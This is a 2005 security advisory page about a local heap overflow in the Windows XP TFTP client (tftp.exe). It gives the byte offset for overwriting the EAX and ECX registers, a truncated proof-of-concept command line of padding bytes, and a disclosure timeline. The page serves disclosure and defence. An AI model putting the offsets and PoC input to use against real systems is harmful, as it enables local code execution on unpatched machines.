Security News -  Security Reviews -   Exploits -  Tools -  UNIX Focus -  Windows Focus
SecuriTeam  Beyond Security  SecuriTeam Home  Ask the Team  Mailing Lists  Advertising Info  Blogs  Black Box Testing  Vulnerability Assessment  Vulnerability Scanner SecuriTeam in Your Inbox   E-mail this article to a friend New vulnerability? New tool? Tell us	Windows XP SP2 TFTP Client Local Buffer Overflow 6 Oct. 2005    Summary TFTP stands for Trivial File Transfer Protocol. Network application that is simpler than the File Transfer Protocol (FTP) but less capable. TFTP built on UDP. The TFTP client provided with Windows XP (tftp.exe) is vulnerable to a locally exploitable heap overflow.   Credit: The information has been provided by Dennis Rand. The original article can be found at: http://www.cirt.dk/advisories/cirt-38-advisory.pdf    Details Protect your website! Use an External Vulnerability Scanner! Nothing to install. First report in 1 hour! www.beyondsecurity.com/vulnerability-scanner Vulnerable Systems:  * Windows XP - TFTP.EXE version 5.1.2600.0 (xpclient.010817-1148) The Windows XP tftp.exe software is vulnerable to a Heap Based overflow, allowing to run arbitrary commands on the system as the user issuing the overflow. The registers EAX and ECX are controlled, by sending 1446 bytes of crap or payload and then the next 8 bytes are the EAX and ECX. Proof of concept: tftp -i 127.0.0.1 GET AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <snip>CCCCBBBB Disclosure Timeline:  * 01.08.05 - Vulnerability discovered  * 15.08.05 - Research completed  * 19.08.05 - Vendor notified  * 19.08.05 - Security vulnerability tagged tftp [6167bgs] at Microsoft  * 08.09.05 - Microsoft responds with an timeframe of fix - See Corrective actions  * 03.10.05 - Public release  Comments:  Add new comment:  Subject:  Name/Nick/Email:          Chars Left:	All Sections Security News Unix focus Exploits Tools Windows focus Security Reviews  Related Articles Microsoft Office Excel Malformed Records Stack Buffer Overflow (MS09-021) Microsoft Excel Record Parsing Array Indexing Vulnerability (MS09-021) Microsoft Excel String Parsing Integer Overflow Vulnerability (MS09-021) libpurple MSN Protocol SLP Message Heap Overflow Vulnerability CA ARCserve Backup Message Engine Denial of Service Vulnerabilities Microsoft Internet Explorer setCapture Memory Corruption Vulnerability (MS09-019) Microsoft Internet Explorer Security Zone Restrictions Bypass Microsoft Internet Explorer onreadystatechange Memory Corruption Vulnerability (MS09-019) Microsoft Internet Explorer Event Handler Memory Corruption Vulnerability (MS09-019) Microsoft Internet Explorer DHTML Handling Memory Corruption Vulnerability (MS09-019) Microsoft Internet Explorer Concurrent Ajax Request Memory Corruption (MS09-019) DX Studio Player Firefox Plug-in Command Injection SAP GUI Buffer Overflow Vulnerability Microsoft Office Word Document Parsing Buffer Overflow Vulnerability (MS09-027) Microsoft Active Directory Hexdecimal DN AttributeValue Invalid Free Vulnerability (MS09-018)  Featured Articles Adobe Shockwave Player Director File Parsing Pointer Overwrite Mozilla Firefox Java Applet Loading Vulnerability Microsoft Internet Explorer Security Zone Restrictions Bypass Adobe Acrobat and Reader Heap Overflow Vulnerability Adobe Reader U3D Stack Overflow Vulnerability Apple CUPS NULL Pointer Vulnerability SonicWALL Global Security Client Privilege Escalation Vulnerability
	Security News - Security Reviews - Exploits - Tools - UNIX Focus - Windows Focus - Blogs - CVEs

Copyright © 1998-2008 Beyond Security® All rights reserved.
Terms of Use Site Privacy Statement.
SecuriTeam™ is a trademark of Beyond Security®